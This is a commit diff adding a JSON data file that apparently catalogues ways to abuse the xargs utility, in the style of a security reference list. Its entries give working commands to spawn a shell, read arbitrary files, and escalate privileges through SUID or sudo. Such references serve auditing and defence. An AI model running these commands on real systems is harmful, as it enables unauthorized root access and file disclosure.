add data for xargs

data/xargs.json

@@ -0,0 +1,35 @@
+{
+  "functions": {
+    "shell": [
+      {
+        "description": "GNU version only.",
+        "code": "xargs -a /dev/null sh"
+      },
+      {
+        "code": "echo x | xargs -Iy sh -c 'exec sh 0<&1'"
+      },
+      {
+        "description": "Read interactively from 'stdin'.",
+        "code": "xargs -Ix sh -c 'exec sh 0<&1'\nx^D^D\n"
+      }
+    ],
+    "file-read": [
+      {
+        "description": "This works as long as the file does not contain the NUL character, also a trailing '$'\\n'' is added. The actual '/bin/echo' command is executed. GNU version only.",
+        "code": "xargs -a [file] -0\n"
+      }
+    ],
+    "suid": [
+      {
+        "description": "GNU version only.",
+        "code": "./xargs -a /dev/null sh -p"
+      }
+    ],
+    "sudo": [
+      {
+        "description": "GNU version only.",
+        "code": "sudo xargs -a /dev/null sh"
+      }
+    ]
+  }
+}